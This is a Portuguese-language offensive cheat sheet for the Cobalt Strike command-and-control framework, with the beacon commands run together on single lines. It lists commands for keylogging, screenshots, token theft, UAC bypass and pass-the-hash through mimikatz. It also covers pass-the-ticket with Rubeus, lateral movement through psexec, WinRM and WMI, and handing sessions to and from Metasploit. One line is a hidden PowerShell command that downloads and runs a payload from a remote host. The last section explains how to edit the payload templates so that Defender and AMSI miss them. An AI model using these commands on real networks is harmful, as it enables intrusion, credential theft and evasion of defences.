Cobalt Strike -> Listeners -> Add/Edit então você pode selecionar onde escutar, que tipo de beacon usar (http, dns, smb...) e mais.
Peer2Peer Listeners
Os beacons desses listeners não precisam se comunicar diretamente com o C2, eles podem se comunicar através de outros beacons.
Cobalt Strike -> Listeners -> Add/Edit então você precisa selecionar os beacons TCP ou SMB
O beacon TCP irá configurar um listener na porta selecionada. Para conectar a um beacon TCP use o comando connect <ip> <port> de outro beacon
O beacon smb irá escutar em um pipename com o nome selecionado. Para conectar a um beacon SMB você precisa usar o comando link [target] [pipe].
Generate & Host payloads
Generate payloads in files
Attacks -> Packages ->
HTMLApplication para arquivos HTA
MS Office Macro para um documento do office com uma macro
Windows Executable para um .exe, .dll ou serviço .exe
Windows Executable (S) para um stageless .exe, .dll ou serviço .exe (melhor stageless do que staged, menos IoCs)
Generate & Host payloads
Attacks -> Web Drive-by -> Scripted Web Delivery (S) Isso irá gerar um script/executável para baixar o beacon do cobalt strike em formatos como: bitsadmin, exe, powershell e python
Host Payloads
Se você já tem o arquivo que deseja hospedar em um servidor web, basta ir em Attacks -> Web Drive-by -> Host File e selecionar o arquivo para hospedar e a configuração do servidor web.
Beacon Options
# Execute local .NET binaryexecute-assembly</path/to/executable.exe># Screenshotsprintscreen# Tire uma única captura de tela via método PrintScrscreenshot# Tire uma única captura de telascreenwatch# Tire capturas de tela periódicas da área de trabalho## Vá para View -> Screenshots para vê-las# keyloggerkeylogger [pid] [x86|x64]## View > Keystrokes para ver as teclas pressionadas# portscanportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Injete a ação de portscan dentro de outro processoportscan [targets] [ports] [arp|icmp|none] [max connections]# Powershell# Importar módulo Powershellpowershell-importC:\path\to\PowerView.ps1powershell<apenasescrevaocomandopowershellaqui># User impersonation## Geração de token com credenciaismake_token [DOMAIN\user] [password] #Crie um token para se passar por um usuário na redels \\computer_name\c$ # Tente usar o token gerado para acessar C$ em um computadorrev2self# Pare de usar o token gerado com make_token## O uso de make_token gera o evento 4624: Uma conta foi logada com sucesso. Este evento é muito comum em um domínio Windows, mas pode ser restringido filtrando pelo Tipo de Logon. Como mencionado acima, ele usa LOGON32_LOGON_NEW_CREDENTIALS que é do tipo 9.# UAC Bypasselevatesvc-exe<listener>elevateuac-token-duplication<listener>runasadminuac-cmstpluapowershell.exe-nop-whidden-c"IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"## Roubar token de pid## Como make_token, mas roubando o token de um processosteal_token [pid] # Além disso, isso é útil para ações de rede, não ações locais## Da documentação da API sabemos que este tipo de logon "permite que o chamador clone seu token atual". É por isso que a saída do Beacon diz Impersonated <current_username> - está se passando pelo nosso próprio token clonado.ls \\computer_name\c$ # Tente usar o token gerado para acessar C$ em um computadorrev2self# Pare de usar o token de steal_token## Lançar processo com novas credenciaisspawnas [domain\username] [password] [listener] #Faça isso a partir de um diretório com acesso de leitura como: cd C:\## Como make_token, isso gerará o evento Windows 4624: Uma conta foi logada com sucesso, mas com um tipo de logon de 2 (LOGON32_LOGON_INTERACTIVE). Ele detalhará o usuário chamador (TargetUserName) e o usuário impersonado (TargetOutboundUserName).## Injete no processoinject [pid] [x64|x86] [listener]## Do ponto de vista de OpSec: Não realize injeção entre plataformas a menos que realmente precise (por exemplo, x86 -> x64 ou x64 -> x86).## Pass the hash## Este processo de modificação requer patching da memória do LSASS, o que é uma ação de alto risco, requer privilégios de administrador local e não é tão viável se o Protected Process Light (PPL) estiver habilitado.pth [pid] [arch] [DOMAIN\user] [NTLM hash]pth [DOMAIN\user] [NTLM hash]## Pass the hash através do mimikatzmimikatzsekurlsa::pth/user:<username>/domain:<DOMAIN>/ntlm:<NTLMHASH>/run:"powershell -w hidden"## Sem /run, o mimikatz gera um cmd.exe, se você estiver executando como um usuário com Desktop, ele verá o shell (se você estiver executando como SYSTEM, você está tranquilo)steal_token<pid>#Roubar token do processo criado pelo mimikatz## Pass the ticket## Solicitar um ticketexecute-assemblyC:\path\Rubeus.exeasktgt/user:<username>/domain:<domain>/aes256:<aes_keys>/nowrap/opsec## Crie uma nova sessão de logon para usar com o novo ticket (para não sobrescrever o comprometido)make_token<domain>\<username>DummyPass## Escreva o ticket na máquina do atacante a partir de uma sessão poweshell & carregue-o[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))kerberos_ticket_useC:\Users\Administrator\Desktop\jkingTGT.kirbi## Pass the ticket do SYSTEM## Gere um novo processo com o ticketexecute-assemblyC:\path\Rubeus.exeasktgt/user:<USERNAME>/domain:<DOMAIN>/aes256:<AESKEY>/nowrap/opsec/createnetonly:C:\Windows\System32\cmd.exe## Roube o token daquele processosteal_token<pid>## Extrair ticket + Pass the ticket### Listar ticketsexecute-assemblyC:\path\Rubeus.exetriage### Dump insteresting ticket by luidexecute-assemblyC:\path\Rubeus.exedump/service:krbtgt/luid:<luid>/nowrap### Crie uma nova sessão de logon, anote luid e processidexecute-assemblyC:\path\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### Insira o ticket na sessão de logon geradaexecute-assemblyC:\path\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### Finalmente, roube o token daquele novo processosteal_token<pid># Lateral Movement## Se um token foi criado, ele será usadojump [method] [target] [listener]## Métodos:## psexec x86 Use um serviço para executar um artefato Service EXE## psexec64 x64 Use um serviço para executar um artefato Service EXE## psexec_psh x86 Use um serviço para executar uma linha de comando PowerShell## winrm x86 Execute um script PowerShell via WinRM## winrm64 x64 Execute um script PowerShell via WinRMremote-exec [method] [target] [command]## Métodos:## psexec Execução remota via Service Control Manager## winrm Execução remota via WinRM (PowerShell)## wmi Execução remota via WMI## Para executar um beacon com wmi (não está no comando jump) basta fazer upload do beacon e executá-lobeacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Pass session to Metasploit - Through listener## No host do metaploitmsf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## No cobalt: Listeners > Add e defina o Payload para Foreign HTTP. Defina o Host para 10.10.5.120, a Porta para 8080 e clique em Salvar.beacon> spawnmetasploit## Você só pode gerar sessões Meterpreter x86 com o listener estrangeiro.# Pass session to Metasploit - Through shellcode injection## No host do metasploitmsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## Execute msfvenom e prepare o listener multi/handler## Copie o arquivo bin para o host do cobalt strikepsshinject<pid>x64C:\Payloads\msf.bin#Injete o shellcode do metasploit em um processo x64# Pass metasploit session to cobalt strike## Gere shellcode Beacon stageless, vá para Attacks > Packages > Windows Executable (S), selecione o listener desejado, selecione Raw como o tipo de saída e selecione Use x64 payload.## Use post/windows/manage/shellcode_inject no metasploit para injetar o shellcode gerado do cobalt strike# Pivoting## Abra um proxy socks no teamserverbeacon> socks1080# SSH connectionbeacon> ssh10.10.17.12:22usernamepassword
Avoiding AVs
Artifact Kit
Geralmente em /opt/cobaltstrike/artifact-kit você pode encontrar o código e templates pré-compilados (em /src-common) dos payloads que o cobalt strike irá usar para gerar os beacons binários.
Usando ThreatCheck com a backdoor gerada (ou apenas com o template compilado) você pode descobrir o que está fazendo o defender disparar. Geralmente é uma string. Portanto, você pode apenas modificar o código que está gerando a backdoor para que essa string não apareça no binário final.
Após modificar o código, basta executar ./build.sh a partir do mesmo diretório e copiar a pasta dist-pipe/ para o cliente Windows em C:\Tools\cobaltstrike\ArtifactKit.
Não se esqueça de carregar o script agressivo dist-pipe\artifact.cna para indicar ao Cobalt Strike que use os recursos do disco que queremos e não os que estão carregados.
Kit de Recursos
A pasta ResourceKit contém os modelos para os payloads baseados em script do Cobalt Strike, incluindo PowerShell, VBA e HTA.
Usando ThreatCheck com os modelos, você pode descobrir o que o defensor (AMSI neste caso) não gosta e modificá-lo:
Modificando as linhas detectadas, pode-se gerar um template que não será pego.
Não se esqueça de carregar o script agressivo ResourceKit\resources.cna para indicar ao Cobalt Strike que use os recursos do disco que queremos e não os que foram carregados.